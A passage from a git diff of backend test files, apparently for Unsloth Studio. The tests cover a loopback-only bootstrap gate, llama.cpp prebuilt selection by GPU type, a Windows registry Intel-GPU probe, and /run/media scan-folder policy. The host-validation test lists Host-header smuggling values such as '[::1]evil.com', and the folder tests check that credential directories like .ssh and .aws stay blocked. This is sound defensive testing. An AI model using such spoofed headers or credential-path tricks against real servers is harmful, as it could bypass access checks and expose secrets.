+        request = _request("127.0.0.1", "localhost", headers = {header: "203.0.113.7"})
+        assert _is_local_bootstrap_request(request) is False, header
+
+
+def test_malformed_or_absent_host_is_remote():
+    """A malformed/absent/scope-id Host must not fall back to the loopback server address."""
+    from main import _is_local_bootstrap_request
+
+    # incl. bracket smuggling: [::1]evil / unclosed [::1 must not reduce to ::1
+    for host in (
+        "e_vil",
+        "[malformed",
+        "",
+        None,
+        "[::1%25eth0]:8888",
+        "[::1]attacker",
+        "[::1]evil.com",
+        "[::1",
+        "[::1]x",
+    ):
+        assert _is_local_bootstrap_request(_request("127.0.0.1", host)) is False, host
+
+
+def test_colab_allows_notebook_proxy_but_not_shareable_tunnel(monkeypatch):
+    """Colab autofills its single-user proxy, but not a public Cloudflare link."""
+    import main
+
+    monkeypatch.setattr(main, "_IS_COLAB", True)
+    # In-notebook proxy: same-origin, no tunnel header, injects off-loopback too.
+    assert main._should_inject_bootstrap(_request("10.0.0.2", "colab.proxy")) is True
+    # Shareable Cloudflare link marks visitors with cf-connecting-ip; withhold.
+    tunnel = _request("127.0.0.1", "localhost", headers = {"cf-connecting-ip": "203.0.113.7"})
+    assert main._should_inject_bootstrap(tunnel) is False
+
+
+def test_non_colab_gate_requires_local_client(monkeypatch):
+    """Outside Colab the gate injects only for a direct loopback client."""
+    import main
+
+    monkeypatch.setattr(main, "_IS_COLAB", False)
+    assert main._should_inject_bootstrap(_request("127.0.0.1", "localhost")) is True
+    assert main._should_inject_bootstrap(_request("192.168.1.10", "localhost")) is False
diff --git a/studio/backend/tests/test_inference_default_models_non_blocking.py b/studio/backend/tests/test_inference_default_models_non_blocking.py
new file mode 100644
index 0000000000..83a8e7bbfb
--- /dev/null
+++ b/studio/backend/tests/test_inference_default_models_non_blocking.py
@@ -0,0 +1,42 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Default Chat model metadata must not block on remote Hugging Face discovery."""
+
+from __future__ import annotations
+
+import sys
+import time
+from pathlib import Path
+
+_BACKEND = Path(__file__).resolve().parent.parent
+if str(_BACKEND) not in sys.path:
+    sys.path.insert(0, str(_BACKEND))
+
+from core.inference.orchestrator import InferenceOrchestrator  # noqa: E402
+
+
+def test_default_models_returns_static_defaults_before_top_fetch(monkeypatch):
+    sleep_seconds = 2.0
+
+    def _slow_fetch(self: InferenceOrchestrator) -> None:
+        time.sleep(sleep_seconds)
+        self._top_gguf_cache = ["unsloth/slow-GGUF"]
+        self._top_models_ready.set()
+
+    monkeypatch.setattr(InferenceOrchestrator, "_fetch_top_models", _slow_fetch)
+
+    orchestrator = InferenceOrchestrator()
+    started = time.monotonic()
+    defaults = orchestrator.default_models
+    elapsed = time.monotonic() - started
+
+    assert elapsed < 0.5, f"default_models blocked for {elapsed:.2f}s"
+    assert defaults == orchestrator._static_models
+    assert "unsloth/slow-GGUF" not in defaults
+
+    deadline = time.monotonic() + sleep_seconds + 5
+    while not orchestrator._top_models_ready.is_set() and time.monotonic() < deadline:
+        time.sleep(0.05)
+
+    assert "unsloth/slow-GGUF" in orchestrator.default_models
diff --git a/studio/backend/tests/test_inference_dispatcher_resilience.py b/studio/backend/tests/test_inference_dispatcher_resilience.py
index 60d7503485..6184496d78 100644
--- a/studio/backend/tests/test_inference_dispatcher_resilience.py
+++ b/studio/backend/tests/test_inference_dispatcher_resilience.py
@@ -112,7 +112,7 @@ def test_route_llama_streaming_async_clients_disable_proxy_env():
             continue
         calls.append(node)
 
-    assert len(calls) == 4
+    assert len(calls) == 5
     for call in calls:
         assert any(
             kw.arg == "trust_env" and isinstance(kw.value, ast.Constant) and kw.value.value is False
diff --git a/studio/backend/tests/test_install_resolve_prebuilt.py b/studio/backend/tests/test_install_resolve_prebuilt.py
index e9941d9e62..e97ca47717 100644
--- a/studio/backend/tests/test_install_resolve_prebuilt.py
+++ b/studio/backend/tests/test_install_resolve_prebuilt.py
@@ -1,7 +1,8 @@
 # SPDX-License-Identifier: AGPL-3.0-only
 # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
-"""install_llama_prebuilt.py: host->repo mapping and the --resolve-prebuilt mode.
+"""install_llama_prebuilt.py: the --resolve-prebuilt probe (plans against the fork
+by default; --published-repo overrides).
 
 These back the in-app update for source-build (markerless) installs: the backend
 asks the installer whether an official prebuilt exists for this host without
@@ -24,9 +25,7 @@ if str(_studio) not in sys.path:
 
 ilp = importlib.import_module("install_llama_prebuilt")
 
-if not hasattr(ilp, "published_repo_for_host") or not hasattr(
-    ilp, "resolve_simple_install_release_plans"
-):
+if not hasattr(ilp, "resolve_simple_install_release_plans"):
     pytest.skip("PR symbols not present - check branch", allow_module_level = True)
 
 FORK = ilp.DEFAULT_PUBLISHED_REPO  # unslothai/llama.cpp
@@ -56,71 +55,25 @@ def _host(**kw):
     return ilp.HostInfo(**base)
 
 
-def test_published_repo_for_host():
-    # CPU-only Linux (x64 and arm64) -> ggml-org upstream.
-    assert ilp.published_repo_for_host(_host(is_linux = True, is_x86_64 = True)) == UPSTREAM
-    assert (
-        ilp.published_repo_for_host(_host(is_linux = True, is_arm64 = True, machine = "aarch64"))
-        == UPSTREAM
-    )
-    # GPU Linux -> fork.
-    assert (
-        ilp.published_repo_for_host(_host(is_linux = True, is_x86_64 = True, has_usable_nvidia = True))
-        == FORK
-    )
-    assert ilp.published_repo_for_host(_host(is_linux = True, is_x86_64 = True, has_rocm = True)) == FORK
-    # CPU-only Windows -> ggml-org (setup.ps1: the fork ships no win-cpu bundle).
-    assert (
-        ilp.published_repo_for_host(_host(system = "Windows", is_windows = True, is_x86_64 = True))
-        == UPSTREAM
-    )
-    # GPU Windows -> fork.
-    assert (
-        ilp.published_repo_for_host(
-            _host(system = "Windows", is_windows = True, is_x86_64 = True, has_usable_nvidia = True)
-        )
-        == FORK
-    )
-    # macOS -> fork regardless of GPU (ggml-org macOS bundles need too-new macOS).
-    assert (
-        ilp.published_repo_for_host(
-            _host(system = "Darwin", is_macos = True, is_arm64 = True, machine = "arm64")
-        )
-        == FORK
-    )
-    # Linux with AMD tooling but no probed GPU -> fork (setup.sh routes on tooling).
-    assert (
-        ilp.published_repo_for_host(
-            _host(is_linux = True, is_x86_64 = True), linux_amd_tooling_present = True
-        )
-        == FORK
-    )
-    # The tooling hint is Linux-only: Windows CPU stays on ggml-org.
-    assert (
-        ilp.published_repo_for_host(
-            _host(system = "Windows", is_windows = True, is_x86_64 = True),
-            linux_amd_tooling_present = True,
-        )
-        == UPSTREAM
-    )
-
-
-def test_macos_intel_and_arm_both_route_to_fork():
-    # macOS uses the unslothai fork's own Mac prebuilts for BOTH arm64 and Intel;
-    # there is no longer any upstream-on-macOS default path, so the obsolete
-    # pre-macOS-26 pin (b9415) is gone.
-    assert (
-        ilp.published_repo_for_host(
-            _host(system = "Darwin", is_macos = True, is_arm64 = True, machine = "arm64")
-        )
-        == FORK
-    )
-    assert (
-        ilp.published_repo_for_host(
-            _host(system = "Darwin", is_macos = True, is_x86_64 = True, machine = "x86_64")
-        )
-        == FORK
+def test_force_cpu_clears_all_gpu_attributes_including_intel():
+    # --cpu-fallback is the "select the CPU prebuilt even when a GPU is present"
+    # escape hatch. It must drop EVERY GPU attribute, including has_intel_gpu, or
+    # the planner still prepends the Vulkan asset on an Intel-GPU host.
+    host = _host(
+        is_linux = True,
+        is_x86_64 = True,
+        has_usable_nvidia = True,
+        has_physical_nvidia = True,
+        has_rocm = True,
+        rocm_gfx_target = "gfx1100",
+        has_intel_gpu = True,
     )
+    forced = ilp._apply_host_overrides(host, force_cpu = True)
+    assert forced.has_usable_nvidia is False
+    assert forced.has_physical_nvidia is False
+    assert forced.has_rocm is False
+    assert forced.rocm_gfx_target is None
+    assert forced.has_intel_gpu is False
 
 
 def test_macos_upstream_pin_only_for_explicit_pre26_upstream():
@@ -188,15 +141,13 @@ def test_resolve_prebuilt_unavailable(monkeypatch, capsys):
     assert out["repo"] == FORK
 
 
-def test_resolve_prebuilt_linux_amd_tooling_routes_to_fork(monkeypatch, capsys):
-    # CPU-probed Linux host but rocminfo on PATH: the dispatch must route to the
-    # fork so a HIP source build is not offered an upstream CPU prebuilt.
-    monkeypatch.setattr(ilp, "detect_host", lambda: _host(is_linux = True, is_x86_64 = True))
-    monkeypatch.setattr(ilp.shutil, "which", lambda tool: tool == "rocminfo")
+def _run_resolve_capture_host(monkeypatch, capsys):
+    """Drive --resolve-prebuilt and return the host the resolver was handed."""
     seen = {}
 
     def _resolver(tag, host, repo, published_release_tag):
         seen["repo"] = repo
+        seen["host"] = host
         raise ilp.PrebuiltFallback("no asset")
 
     monkeypatch.setattr(ilp, "resolve_simple_install_release_plans", _resolver)
@@ -207,10 +158,33 @@ def test_resolve_prebuilt_linux_amd_tooling_routes_to_fork(monkeypatch, capsys):
     )
     assert ilp.main() == ilp.EXIT_SUCCESS
     out = json.loads(capsys.readouterr().out.strip().splitlines()[-1])
+    return seen, out
+
+
+def test_resolve_prebuilt_cpu_linux_routes_to_fork(monkeypatch, capsys):
+    # CPU-only Linux host (no GPU): the dispatch routes to the fork, which now
+    # ships the CPU prebuilt -- it no longer falls back to ggml-org upstream.
+    monkeypatch.setattr(ilp, "detect_host", lambda: _host(is_linux = True, is_x86_64 = True))
+    seen, out = _run_resolve_capture_host(monkeypatch, capsys)
     assert seen["repo"] == FORK
     assert out["repo"] == FORK
 
 
+def test_resolve_prebuilt_rocm_sdk_only_host_still_offered_cpu(monkeypatch, capsys):
+    # A CPU-only host that merely has ROCm/HIP SDK tools on PATH (no AMD GPU, so
+    # detect_host leaves has_rocm False) is a valid CPU-prebuilt target. The probe
+    # must NOT reclassify it as ROCm from tool presence alone and suppress the CPU
+    # bundle -- that would deny the fork CPU prebuilt to a legitimate CPU source
+    # build. The host is left CPU-only and resolves against the fork.
+    monkeypatch.setattr(ilp, "detect_host", lambda: _host(is_linux = True, is_x86_64 = True))
+    monkeypatch.setattr(
+        ilp.shutil, "which", lambda tool: "/opt/rocm/bin/hipconfig" if tool == "hipconfig" else None
+    )
+    seen, out = _run_resolve_capture_host(monkeypatch, capsys)
+    assert seen["repo"] == FORK
+    assert seen["host"].has_rocm is False
+
+
 # Blackwell floor is sm_100 (data-center B100/B200, B300/GB300), below consumer
 # sm_120 -- 120 wrongly excluded data-center hosts from the prebuilt selection.
 
@@ -360,3 +334,386 @@ def test_sm103_host_drops_cuda128_windows_build():
     )
     kept_b200 = ilp._drop_blackwell_incapable_windows_cuda(b200, [cuda128, cuda129])
     assert [a.name for a in kept_b200] == [cuda128.name, cuda129.name]
+
+
+def _upstream_release(tag, asset_names):
+    return {
+        "tag_name": tag,
+        "assets": [
+            {"name": n, "browser_download_url": f"https://example/{n}"} for n in asset_names
+        ],
+    }
+
+
+def test_direct_upstream_arm64_intel_prefers_vulkan():
+    # Auto-detected Intel GPU on Linux arm64 -> Vulkan prebuilt first, CPU
+    # second (mirrors the x86_64 branch; ggml-org ships the arm64 Vulkan asset).
+    host = _host(is_linux = True, is_arm64 = True, machine = "aarch64", has_intel_gpu = True)
+    rel = _upstream_release(
+        "b9925",
+        ["llama-b9925-bin-ubuntu-vulkan-arm64.tar.gz", "llama-b9925-bin-ubuntu-arm64.tar.gz"],
+    )
+    plan = ilp.direct_upstream_release_plan(rel, host, UPSTREAM, "latest")
+    kinds = [a.install_kind for a in plan.attempts]
+    assert kinds[0] == "linux-vulkan", kinds
+    assert "linux-arm64" in kinds
+    assert plan.attempts[0].name == "llama-b9925-bin-ubuntu-vulkan-arm64.tar.gz"
+
+
+def test_direct_upstream_intel_with_hidden_nvidia_is_cpu_only():
+    # A host with a physical NVIDIA hidden via CUDA_VISIBLE_DEVICES (physical
+    # True, usable False) + an Intel iGPU must NOT get the Vulkan archive even
+    # when planning directly against upstream: Vulkan ignores CUDA_VISIBLE_DEVICES
+    # and could grab the reserved card. It falls through to the CPU asset.
+    host = _host(
+        is_linux = True,
+        is_x86_64 = True,
+        has_intel_gpu = True,
+        has_physical_nvidia = True,
+        has_usable_nvidia = False,
+    )
+    rel = _upstream_release(
+        "b9925",
+        ["llama-b9925-bin-ubuntu-vulkan-x64.tar.gz", "llama-b9925-bin-ubuntu-x64.tar.gz"],
+    )
+    plan = ilp.direct_upstream_release_plan(rel, host, UPSTREAM, "latest")
+    assert [a.install_kind for a in plan.attempts] == ["linux-cpu"]
+
+
+def test_direct_upstream_arm64_without_intel_is_cpu_only():
+    host = _host(is_linux = True, is_arm64 = True, machine = "aarch64")
+    rel = _upstream_release(
+        "b9925",
+        ["llama-b9925-bin-ubuntu-vulkan-arm64.tar.gz", "llama-b9925-bin-ubuntu-arm64.tar.gz"],
+    )
+    plan = ilp.direct_upstream_release_plan(rel, host, UPSTREAM, "latest")
+    assert [a.install_kind for a in plan.attempts] == ["linux-arm64"]
+
+
+def test_direct_upstream_x86_intel_prefers_vulkan():
+    host = _host(is_linux = True, is_x86_64 = True, has_intel_gpu = True)
+    rel = _upstream_release(
+        "b9925",
+        ["llama-b9925-bin-ubuntu-vulkan-x64.tar.gz", "llama-b9925-bin-ubuntu-x64.tar.gz"],
+    )
+    plan = ilp.direct_upstream_release_plan(rel, host, UPSTREAM, "latest")
+    kinds = [a.install_kind for a in plan.attempts]
+    assert kinds[0] == "linux-vulkan", kinds
+    assert "linux-cpu" in kinds
+
+
+def test_linux_vulkan_health_glob_matches_bare_cpu_lib():
+    # The widened glob must cover both arch-suffixed (x64) and bare (arm64) CPU
+    # libs so a valid Vulkan install is not re-flagged unhealthy every check.
+    choice = ilp.AssetChoice(
+        repo = UPSTREAM,
+        tag = "b9925",
+        name = "llama-b9925-bin-ubuntu-vulkan-arm64.tar.gz",
+        url = "https://example/x",
+        source_label = "upstream",
+        install_kind = "linux-vulkan",
+    )
+    groups = ilp.runtime_payload_health_groups(choice)
+    assert ["libggml-cpu*.so*"] in groups
+    assert ["libggml-cpu-*.so*"] not in groups
+
+
+def test_route_to_vulkan_prebuilt_auto_intel_goes_upstream_and_drops_fork_pin():
+    # Routing fork -> upstream also drops the fork release pin, which is in a
+    # different tag namespace and would make the upstream resolver miss.
+    host = _host(is_linux = True, is_x86_64 = True, has_intel_gpu = True)
+    routed, repo, tag = ilp._route_to_vulkan_prebuilt(host, FORK, "b9596-mix-abc", force_cpu = False)
+    assert repo == UPSTREAM
+    assert tag == ""
+    assert routed.has_intel_gpu is True
+
+
+def test_route_to_vulkan_prebuilt_preserves_explicit_upstream_pin():
+    # A pin set WITH an explicit upstream repo is already on upstream -> kept.
+    host = _host(is_linux = True, is_x86_64 = True, has_intel_gpu = True)
+    _routed, repo, tag = ilp._route_to_vulkan_prebuilt(host, UPSTREAM, "b9596", force_cpu = False)
+    assert repo == UPSTREAM
+    assert tag == "b9596"
+
+
+def test_route_to_vulkan_prebuilt_cpu_fallback_wins():
+    # --cpu-fallback suppresses Vulkan routing even for an Intel host.
+    host = _host(is_linux = True, is_x86_64 = True, has_intel_gpu = True)
+    routed, repo, tag = ilp._route_to_vulkan_prebuilt(host, FORK, "b9596-mix-abc", force_cpu = True)
+    assert repo == FORK
+    assert tag == "b9596-mix-abc"
+    assert routed is host
+
+
+def test_route_to_vulkan_prebuilt_hidden_nvidia_not_rerouted():
+    # A mixed NVIDIA+Intel host that hid NVIDIA (CUDA_VISIBLE_DEVICES=""/-1):
+    # physical NVIDIA present but not usable. Must NOT auto-route to Vulkan, or
+    # Vulkan (which ignores CUDA_VISIBLE_DEVICES) could grab the reserved GPU.
+    host = _host(
+        is_linux = True,
+        is_x86_64 = True,
+        has_intel_gpu = True,
+        has_physical_nvidia = True,
+        has_usable_nvidia = False,
+    )
+    _routed, repo, _tag = ilp._route_to_vulkan_prebuilt(host, FORK, "", force_cpu = False)
+    assert repo == FORK
+
+
+def test_route_to_vulkan_prebuilt_rocm_host_not_rerouted():
+    # An Intel iGPU alongside a usable ROCm GPU stays on its ROCm/fork path.
+    host = _host(is_linux = True, is_x86_64 = True, has_intel_gpu = True, has_rocm = True)
+    _routed, repo, _tag = ilp._route_to_vulkan_prebuilt(host, FORK, "", force_cpu = False)
+    assert repo == FORK
+
+
+def test_route_to_vulkan_prebuilt_non_intel_unchanged():
+    host = _host(is_linux = True, is_x86_64 = True)
+    routed, repo, _tag = ilp._route_to_vulkan_prebuilt(host, FORK, "", force_cpu = False)
+    assert repo == FORK
+    assert routed is host
+
+
+def test_resolve_prebuilt_intel_host_routes_to_upstream(monkeypatch, capsys):
+    # The --resolve-prebuilt probe must agree with the install path: an
+    # auto-detected Intel host resolves against upstream (Vulkan), not the fork.
+    monkeypatch.setattr(
+        ilp, "detect_host", lambda: _host(is_linux = True, is_x86_64 = True, has_intel_gpu = True)
+    )
+    seen, out = _run_resolve_capture_host(monkeypatch, capsys)
+    assert seen["repo"] == UPSTREAM
+    assert out["repo"] == UPSTREAM
+
+
+# ---------------------------------------------------------------------------
+# windows_intel_gpu_in_registry: the in-process Windows Intel probe. A fake
+# winreg module stands in for the real registry so the walk runs anywhere.
+# ---------------------------------------------------------------------------
+
+
+class _FakeRegKey:
+    def __init__(
+        self,
+        subkeys = None,
+        values = None,
+        denied = False,
+    ):
+        self.subkeys = subkeys or {}
+        self.values = values or {}
+        self.denied = denied
+
+    def __enter__(self):
+        return self
+
+    def __exit__(self, *exc):
+        return False
+
+
+class _FakeWinreg:
+    HKEY_LOCAL_MACHINE = object()
+
+    def __init__(self, root_key):
+        self._root_key = root_key
+
+    def OpenKey(self, parent, name):
+        if parent is self.HKEY_LOCAL_MACHINE:
+            # Pin the production constant: a typo'd class GUID must fail here,
+            # not silently return the fake tree.
+            if name != ilp._WINDOWS_DISPLAY_CLASS_KEY:
+                raise FileNotFoundError(name)
+            if self._root_key is None:
+                raise FileNotFoundError(name)
+            return self._root_key
+        key = parent.subkeys.get(name)
+        if key is None:
+            # Real winreg raises OSError, never KeyError, for a missing key.
+            raise FileNotFoundError(name)
+        if key.denied:
+            raise PermissionError(name)
+        return key
+
+    def QueryInfoKey(self, key):
+        return (len(key.subkeys), len(key.values), 0)
+
+    def EnumKey(self, key, index):
+        return list(key.subkeys)[index]
+
+    def QueryValueEx(self, key, value_name):
+        if value_name not in key.values:
+            raise FileNotFoundError(value_name)
+        return (key.values[value_name], 1)
+
+
+def _probe_with_display_class(monkeypatch, adapters):
+    # The helper lazily does `import winreg`; plant the fake in sys.modules the
+    # same way unsloth_cli/tests/test_start.py fakes it for _refresh_windows_path.
+    monkeypatch.setitem(sys.modules, "winreg", _FakeWinreg(_FakeRegKey(subkeys = adapters)))
+    return ilp.windows_intel_gpu_in_registry()
+
+
+def test_windows_intel_registry_matches_vendor_id(monkeypatch):
+    assert (
+        _probe_with_display_class(
+            monkeypatch,
+            {
+                "0000": _FakeRegKey(
+                    values = {
+                        "MatchingDeviceId": r"PCI\VEN_8086&DEV_56A0&SUBSYS_12345678",
+                        "DriverDesc": "Intel(R) Arc(TM) A770 Graphics",
+                    }
+                ),
+            },
+        )
+        is True
+    )
+
+
+def test_windows_intel_registry_matches_driver_desc_without_device_id(monkeypatch):
+    assert (
+        _probe_with_display_class(
+            monkeypatch,
+            {
+                "0000": _FakeRegKey(values = {"DriverDesc": "Intel(R) UHD Graphics 630"}),
+            },
+        )
+        is True
+    )
+
+
+def test_windows_intel_registry_ignores_non_intel_adapters(monkeypatch):
+    assert (
+        _probe_with_display_class(
+            monkeypatch,
+            {
+                "0000": _FakeRegKey(
+                    values = {
+                        "MatchingDeviceId": r"PCI\VEN_10DE&DEV_2684",
+                        "DriverDesc": "NVIDIA GeForce RTX 4090",
+                    }
+                ),
+                "0001": _FakeRegKey(
+                    values = {
+                        "MatchingDeviceId": r"PCI\VEN_1002&DEV_744C",
+                        "DriverDesc": "AMD Radeon RX 7900 XTX",
+                    }
+                ),
+            },
+        )
+        is False
+    )
+
+
+def test_windows_intel_registry_skips_restricted_properties_subkey(monkeypatch):
+    # The real class key carries an ACL-restricted "Properties" subkey and can
+    # deny access to individual adapter keys; neither may abort the walk.
+    assert (
+        _probe_with_display_class(
+            monkeypatch,
+            {
+                "Properties": _FakeRegKey(denied = True),
+                "0000": _FakeRegKey(denied = True),
+                "0001": _FakeRegKey(
+                    values = {
+                        "MatchingDeviceId": r"PCI\VEN_8086&DEV_56A0",
+                    }
+                ),
+            },
+        )
+        is True
+    )
+
+
+def test_windows_intel_registry_missing_class_key_is_false(monkeypatch):
+    monkeypatch.setitem(sys.modules, "winreg", _FakeWinreg(None))
+    assert ilp.windows_intel_gpu_in_registry() is False
+
+
+def _detect_windows_host(
+    monkeypatch,
+    winreg_fake,
+    powershell_stdout = "",
+):
+    """Drive the real detect_host() as a GPU-less Windows host with a fake
+    registry, recording every run_capture invocation. Pins the wiring the
+    unit tests above cannot see: registry-first, CIM only on a registry miss."""
+    monkeypatch.setitem(sys.modules, "winreg", winreg_fake)
+    monkeypatch.setattr(ilp.platform, "system", lambda: "Windows")
+    monkeypatch.setattr(ilp.platform, "machine", lambda: "AMD64")
+    for _env in (
+        "CUDA_VISIBLE_DEVICES",
+        "HIP_VISIBLE_DEVICES",
+        "ROCR_VISIBLE_DEVICES",
+        "HIP_PATH",
+        "ROCM_PATH",
+    ):
+        monkeypatch.delenv(_env, raising = False)
+    monkeypatch.setattr(
+        ilp.shutil,
+        "which",
+        lambda name: "powershell" if name in ("powershell", "pwsh") else None,
+    )
+    captured = []
+
+    def _fake_run_capture(command, **kwargs):
+        captured.append(command[0])
+        if command[0] == "powershell":
+            return SimpleNamespace(returncode = 0, stdout = powershell_stdout, stderr = "")
+        return SimpleNamespace(returncode = 1, stdout = "", stderr = "")
+
+    monkeypatch.setattr(ilp, "run_capture", _fake_run_capture)
+    return ilp.detect_host(), captured
+
+
+def test_detect_host_registry_intel_skips_cim_probe(monkeypatch):
+    winreg = _FakeWinreg(
+        _FakeRegKey(
+            subkeys = {
+                "0000": _FakeRegKey(values = {"MatchingDeviceId": r"PCI\VEN_8086&DEV_56A0"}),
+            }
+        )
+    )
+    host, captured = _detect_windows_host(monkeypatch, winreg)
+    assert host.has_intel_gpu is True
+    assert "powershell" not in captured
+
+
+def test_detect_host_cim_fallback_fires_on_registry_miss(monkeypatch):
+    winreg = _FakeWinreg(
+        _FakeRegKey(
+            subkeys = {
+                "0000": _FakeRegKey(values = {"MatchingDeviceId": r"PCI\VEN_10DE&DEV_2684"}),
+            }
+        )
+    )
+    host, captured = _detect_windows_host(
+        monkeypatch, winreg, powershell_stdout = "Intel(R) Arc(TM) A770 Graphics"
+    )
+    assert host.has_intel_gpu is True
+    assert "powershell" in captured
+
+
+def test_windows_intel_registry_unexpected_error_is_false(monkeypatch):
+    # The probe is advisory: even a non-OSError bug in the walk must return
+    # False (deferring to the CIM fallback), never crash detect_host.
+    class _ExplodingWinreg:
+        HKEY_LOCAL_MACHINE = object()
+
+        def OpenKey(self, parent, name):
+            raise TypeError(name)
+
+    monkeypatch.setitem(sys.modules, "winreg", _ExplodingWinreg())
+    assert ilp.windows_intel_gpu_in_registry() is False
+
+
+def test_detect_host_cim_rescues_exploding_registry(monkeypatch):
+    class _ExplodingWinreg:
+        HKEY_LOCAL_MACHINE = object()
+
+        def OpenKey(self, parent, name):
+            raise TypeError(name)
+
+    host, captured = _detect_windows_host(
+        monkeypatch, _ExplodingWinreg(), powershell_stdout = "Intel(R) Arc(TM) A770 Graphics"
+    )
+    assert host.has_intel_gpu is True
+    assert "powershell" in captured
diff --git a/studio/backend/tests/test_linux_external_media_paths.py b/studio/backend/tests/test_linux_external_media_paths.py
new file mode 100644
index 0000000000..b735bd1132
--- /dev/null
+++ b/studio/backend/tests/test_linux_external_media_paths.py
@@ -0,0 +1,294 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+from __future__ import annotations
+
+import ast
+import os
+import sys
+from pathlib import Path
+from types import SimpleNamespace
+from typing import Optional
+
+import pytest
+
+from hub.storage import scan_folders
+from storage import studio_db
+from utils.paths import external_media
+
+
+_BACKEND_ROOT = Path(__file__).resolve().parent.parent
+
+
+class _ExistingScanFolderConn:
+    def __init__(self):
+        self.params = ()
+
+    def execute(
+        self,
+        _sql,
+        params = (),
+    ):
+        self.params = params
+        return self
+
+    def fetchone(self):
+        return {"id": 1, "path": self.params[0], "created_at": "fake"}
+
+    def commit(self):
+        pass
+
+    def close(self):
+        pass
+
+
+class _HTTPException(Exception):
+    def __init__(self, status_code: int, detail: str):
+        super().__init__(detail)
+        self.status_code = status_code
+        self.detail = detail
+
+
+def _stub_linux_path_checks(monkeypatch, module):
+    monkeypatch.setattr(module.platform, "system", lambda: "Linux")
+    monkeypatch.setattr(module.os.path, "realpath", os.path.normpath)
+    monkeypatch.setattr(module.os.path, "expanduser", lambda p: p)
+    monkeypatch.setattr(module.os.path, "exists", lambda _p: True)
+    monkeypatch.setattr(module.os.path, "isdir", lambda _p: True)
+    monkeypatch.setattr(module.os, "access", lambda _p, _mode: True)
+
+
+def _stub_hub_scan_folder_db(monkeypatch):
+    monkeypatch.setattr(scan_folders, "_ensure_schema", lambda _conn: None)
+    monkeypatch.setattr(scan_folders, "get_connection", _ExistingScanFolderConn)
+
+
+def _stub_legacy_scan_folder_db(monkeypatch):
+    monkeypatch.setattr(studio_db, "get_connection", _ExistingScanFolderConn)
+
+
+def test_linux_run_media_policy_accepts_mounted_volume_descendants(monkeypatch):
+    monkeypatch.setattr(external_media.platform, "system", lambda: "Linux")
+
+    assert external_media.is_linux_run_media_path("/run/media/dspofu/nvmeB")
+    assert external_media.is_linux_run_media_path("/run/media/dspofu/nvmeB/modelsAI/gguf/qwen3.6")
+
+
+@pytest.mark.parametrize(
+    "path",
+    [
+        "/run",
+        "/run/media",
+        "/run/media/dspofu",
+        "/run/user/1000/models",
+        "/run/systemd/private",
+        "/run/not-media/dspofu/nvmeB",
+    ],
+)
+def test_linux_run_media_policy_rejects_unrelated_run_paths(monkeypatch, path):
+    monkeypatch.setattr(external_media.platform, "system", lambda: "Linux")
+
+    assert not external_media.is_linux_run_media_path(path)
+
+
+def test_linux_run_media_mount_roots_lists_readable_volume_roots(monkeypatch, tmp_path):
+    base = tmp_path / "run" / "media"
+    mount = base / "dspofu" / "nvmeB"
+    sensitive_mount = base / "dspofu" / ".ssh"
+    sensitive_aws_mount = base / "dspofu" / ".aws"
+    other_user_mount = base / "other" / "backup"
+    incomplete = base / "dspofu-only"
+    mount.mkdir(parents = True)
+    sensitive_mount.mkdir()
+    sensitive_aws_mount.mkdir()
+    other_user_mount.mkdir(parents = True)
+    incomplete.mkdir()
+    monkeypatch.setattr(external_media.platform, "system", lambda: "Linux")
+
+    roots = external_media.linux_run_media_mount_roots(base, user = "dspofu")
+
+    assert roots == [mount.resolve()]
+
+
+def test_linux_run_media_mount_roots_skips_sensitive_resolved_volume_name(monkeypatch, tmp_path):
+    base = tmp_path / "run" / "media"
+    normal_mount = base / "dspofu" / "nvmeB"
+    sensitive_target = base / "dspofu" / ".config"
+    normal_mount.mkdir(parents = True)
+    sensitive_target.mkdir()
+    alias = base / "dspofu" / "config-alias"
+    alias.symlink_to(sensitive_target, target_is_directory = True)
+    monkeypatch.setattr(external_media.platform, "system", lambda: "Linux")
+
+    roots = external_media.linux_run_media_mount_roots(base, user = "dspofu")
+
+    assert roots == [normal_mount.resolve()]
+
+
+def test_linux_run_media_mount_roots_skips_sensitive_resolved_descendant(monkeypatch, tmp_path):
+    base = tmp_path / "run" / "media"
+    normal_mount = base / "dspofu" / "nvmeB"
+    sensitive_descendant = normal_mount / ".ssh" / "models"
+    sensitive_descendant.mkdir(parents = True)
+    alias = base / "dspofu" / "models-alias"
+    alias.symlink_to(sensitive_descendant, target_is_directory = True)
+    monkeypatch.setattr(external_media.platform, "system", lambda: "Linux")
+
+    roots = external_media.linux_run_media_mount_roots(base, user = "dspofu")
+
+    assert roots == [normal_mount.resolve()]
+
+
+def test_hub_scan_folder_accepts_linux_run_media_mount(monkeypatch):
+    _stub_linux_path_checks(monkeypatch, scan_folders)
+    monkeypatch.setattr(external_media.platform, "system", lambda: "Linux")
+    _stub_hub_scan_folder_db(monkeypatch)
+    target = "/run/media/dspofu/nvmeB/modelsAI/gguf/qwen3.6"
+
+    row = scan_folders.add_scan_folder(target)
+
+    assert row["path"] == target
+
+
+@pytest.mark.parametrize(
+    "target",
+    [
+        "/run",
+        "/run/media",
+        "/run/media/dspofu",
+        "/run/user/1000/models",
+        "/run/systemd/private",
+        "/run/not-media/dspofu/nvmeB",
+    ],
+)
+def test_hub_scan_folder_keeps_unrelated_run_paths_blocked(monkeypatch, target):
+    _stub_linux_path_checks(monkeypatch, scan_folders)
+    monkeypatch.setattr(external_media.platform, "system", lambda: "Linux")
+    _stub_hub_scan_folder_db(monkeypatch)
+
+    with pytest.raises(ValueError, match = "Path under /run is not allowed"):
+        scan_folders.add_scan_folder(target)
+
+
+def test_hub_scan_folder_keeps_sensitive_dirs_blocked_under_run_media(monkeypatch):
+    _stub_linux_path_checks(monkeypatch, scan_folders)
+    monkeypatch.setattr(external_media.platform, "system", lambda: "Linux")
+    _stub_hub_scan_folder_db(monkeypatch)
+
+    with pytest.raises(ValueError, match = "Credential or configuration"):
+        scan_folders.add_scan_folder("/run/media/dspofu/nvmeB/.ssh/models")
+
+
+def test_legacy_scan_folder_accepts_linux_run_media_mount(monkeypatch):
+    _stub_linux_path_checks(monkeypatch, studio_db)
+    monkeypatch.setattr(external_media.platform, "system", lambda: "Linux")
+    _stub_legacy_scan_folder_db(monkeypatch)
